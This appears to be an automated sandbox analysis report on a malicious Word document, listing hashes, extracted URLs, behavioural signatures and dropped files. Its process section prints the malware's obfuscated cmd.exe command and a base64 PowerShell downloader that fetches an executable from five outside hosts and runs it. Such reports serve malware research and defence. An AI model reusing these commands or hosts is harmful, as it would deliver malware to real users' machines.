Analysis
-
max time kernel
142s -
max time network
130s -
platform
windows10-2004_x64 -
resource
win10v2004-20240426-en -
resource tags
-
submitted
20-05-2024 18:41
General
-
Target
609b32adfefe0335329d641e591ca1ed_JaffaCakes118.doc
-
Size
80KB
-
MD5
609b32adfefe0335329d641e591ca1ed
-
SHA1
fcb99089f301a2e0c494519d0e21cf5b0f2d26b3
-
SHA256
dcd7feb1774d994996fb3822536bf6a65b183aec087c735cac707c666afb8b54
-
SHA512
1496bd1c73b89e207d84f766d1f9c3459df4973fae5e64633a58cf0f6215ea1a0641e7b4db3a4399d3af7a436fc324f8f80a46400a5f3c01a67a94bf61299e16
-
SSDEEP
768:1pJcaUitGAlmrJpmxlzC+w99NBy+1pjpmpX+nTAlLouQwe5+n4vTvy3L:1ptJlmrJpmxlRw99NBy+PaX+nOK44A
Malware Config
Extracted
http://opendata.safuture.ca/94
http://autobritt.apptitude.ch/5XtLax
http://s3.techsysmedia-dz.com/SnQ
http://devground.zare.com/1aLfE7y
http://tania.ad99.it/VphwoU
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
-
Blocklisted process makes network request 1 IoCs
-
An obfuscated cmd.exe command-line is typically used to evade detection. 1 IoCs
-
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
-
Enumerates system info in registry 2 TTPs 3 IoCs
-
Suspicious behavior: AddClipboardFormatListener 2 IoCs
-
Suspicious behavior: EnumeratesProcesses 3 IoCs
-
Suspicious use of AdjustPrivilegeToken 1 IoCs
-
Suspicious use of SetWindowsHookEx 7 IoCs
-
Suspicious use of WriteProcessMemory 4 IoCs
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\609b32adfefe0335329d641e591ca1ed_JaffaCakes118.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /v /c " ^S^e^T ^ ^ ^hd^se=^AACA^gA^AIA^AC^AgA^AI^A^ACA^g^A^AI^AAC^AgAA^IAACA^g^A^A^IAACAgA^Qf^A^0HA7BAa^A^M^G^A^0^BQ^Y^A^MGA^9^BwOAs^G^A^hBQ^ZA^IH^AiB^wO^AM^H^Aw^BQQAQC^A^g^AQb^A^UG^A^0BQ^S^A^0C^AlB^wa^A8GA2^Bg^bAk^E^A^7A^QK^A^MH^A^w^BQQAQC^A^g^AALA^Q^E^AK^B^Q^Y^A^QC^Ao^A^QZ^A^wGA^pBgR^A^QG^A^h^B^w^bA^w^G^Au^Bw^d^A^8G^A^EB^gL^AME^A^u^BQS^A^QC^A7B^Q^e^A^IH^A^0BweAkCA1^B^w^d^A^wE^A^kA^A^I^A4G^A^pB^AI^A^QE^A^KB^QYAQCAo^A^A^a^A^M^G^A^h^B^Q^ZAIH^AvB^gZ^AsD^AnA^QZA^g^H^AlBg^LAcC^Ar^AgaAE^EAh^BA^JAsCAnAAXAcCArA^wY^A^kG^AsB^g^YA^UH^A^wB^gOA^YHAuB^QZ^A^QC^A9A^wcAAHAB^BAJ^AsD^AnAQ^OAIDA0A^wJA^AC^A9A^AI^A^oG^A^B^B^Q^Y^AQCA7^AQKAcCAAB^wJAgCA0BQa^A^w^GAw^B^wU^A4CAn^AQVA8GA3BAa^AA^HAWBwL^AQ^H^Ap^BgL^A^kDA^5^A^A^Z^A^EG^AuAQYAk^G^A^uB^Q^YA^Q^H^AvAw^L^A^oDA^w^BAd^A^QHAoBAQ^AkHA3A^QR^AYGAM^BQY^AE^DAv^A^Q^b^A^8G^A^jBg^L^A^U^GAy^BQ^Y^AoHA^uAA^ZA^4G^A1^B^wb^AI^H^An^Bg^dA^UG^A^kB^w^L^A^8CA6^AAcA^QHA0^BA^a^A^A^E^AR^BgbA^M^F^Av^A^Q^bA8^G^A^j^B^gL^Ao^HAkBQL^AE^G^A^p^BAZ^A^U^G^AtBwc^A^kHAzBAa^AMGAl^B^Ad^A4CA^z^A^wc^A8CAvAgOAAHA0^BAd^A^g^GA^ABA^eA^E^GAM^B^A^d^AgF^A^1^Aw^LAgGAj^Bg^L^AUGA^kBQ^d^A^Q^H^ApBAdA^AHAwB^Q^YA^4CA0B^A^d^A^kGA^yB^g^Y^A8GA^0BQd^AE^GAvA^wLAo^DAwB^Ad^A^Q^H^AoBAQ^A^QD^A5Aw^L^A^EG^Aj^B^gLA^U^GA^y^B^Q^dAQ^HA^1BgZ^A^E^GA^zB^gL^A^EG^A^0B^QYAQ^G^AuB^QZ^AAH^Av^B^w^L^A^8C^A^6AAcA^QH^A0^BAa^AcC^A9^A^Q^dAcH^A^M^B^A^JAsDA0Bg^b^A^U^G^A^pB^AbAMEAiBQZAc^F^A^uA^A^d^AUGA^OB^A^IA^QH^Aj^BQZAoG^Ai^B^w^bA^0CA3^B^QZ^A4G^A9^AwQ^A4^GAJ^BA^J^ ^e- ^ll^eh^sre^w^op&& ^fOr /^l %^T ^In (^ ^98^1 ^ ^,^ ^-1^ ^ ^,^ ^0 ^ ^ ^ ) D^O ^se^T X^H^Qr=!X^H^Qr!!^hd^se:~ %^T, 1!& ^IF %^T L^E^q ^0 C^a^l^l %X^H^Qr:*^XH^Qr^!=%"2⤵
- Process spawned unexpected child process
- An obfuscated cmd.exe command-line is typically used to evade detection.
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -e JABJAG4AQwA9AG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsAJABMAHcAdQA9ACcAaAB0AHQAcAA6AC8ALwBvAHAAZQBuAGQAYQB0AGEALgBzAGEAZgB1AHQAdQByAGUALgBjAGEALwA5ADQAQABoAHQAdABwADoALwAvAGEAdQB0AG8AYgByAGkAdAB0AC4AYQBwAHAAdABpAHQAdQBkAGUALgBjAGgALwA1AFgAdABMAGEAeABAAGgAdAB0AHAAOgAvAC8AcwAzAC4AdABlAGMAaABzAHkAcwBtAGUAZABpAGEALQBkAHoALgBjAG8AbQAvAFMAbgBRAEAAaAB0AHQAcAA6AC8ALwBkAGUAdgBnAHIAbwB1AG4AZAAuAHoAYQByAGUALgBjAG8AbQAvADEAYQBMAGYARQA3AHkAQABoAHQAdABwADoALwAvAHQAYQBuAGkAYQAuAGEAZAA5ADkALgBpAHQALwBWAHAAaAB3AG8AVQAnAC4AUwBwAGwAaQB0ACgAJwBAACcAKQA7ACQAYQBBAGoAIAA9ACAAJwA0ADIAOQAnADsAJABBAHAAcwA9ACQAZQBuAHYAOgBwAHUAYgBsAGkAYwArACcAXAAnACsAJABhAEEAagArACcALgBlAHgAZQAnADsAZgBvAHIAZQBhAGMAaAAoACQAYQBKAEQAIABpAG4AIAAkAEwAdwB1ACkAewB0AHIAeQB7ACQASQBuAEMALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACQAYQBKAEQALAAgACQAQQBwAHMAKQA7AEkAbgB2AG8AawBlAC0ASQB0AGUAbQAgACQAQQBwAHMAOwBiAHIAZQBhAGsAOwB9AGMAYQB0AGMAaAB7AH0AfQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAA3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
262KB
MD551d32ee5bc7ab811041f799652d26e04
SHA1412193006aa3ef19e0a57e16acf86b830993024a
SHA2566230814bf5b2d554397580613e20681752240ab87fd354ececf188c1eabe0e97
SHA5125fc5d889b0c8e5ef464b76f0c4c9e61bda59b2d1205ac9417cc74d6e9f989fb73d78b4eb3044a1a1e1f2c00ce1ca1bd6d4d07eeadc4108c7b124867711c31810
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
136KB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
64KB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
64KB
-
Filesize
2.0MB
-
Filesize
64KB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
64KB
-
Filesize
4KB
-
Filesize
64KB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
2.0MB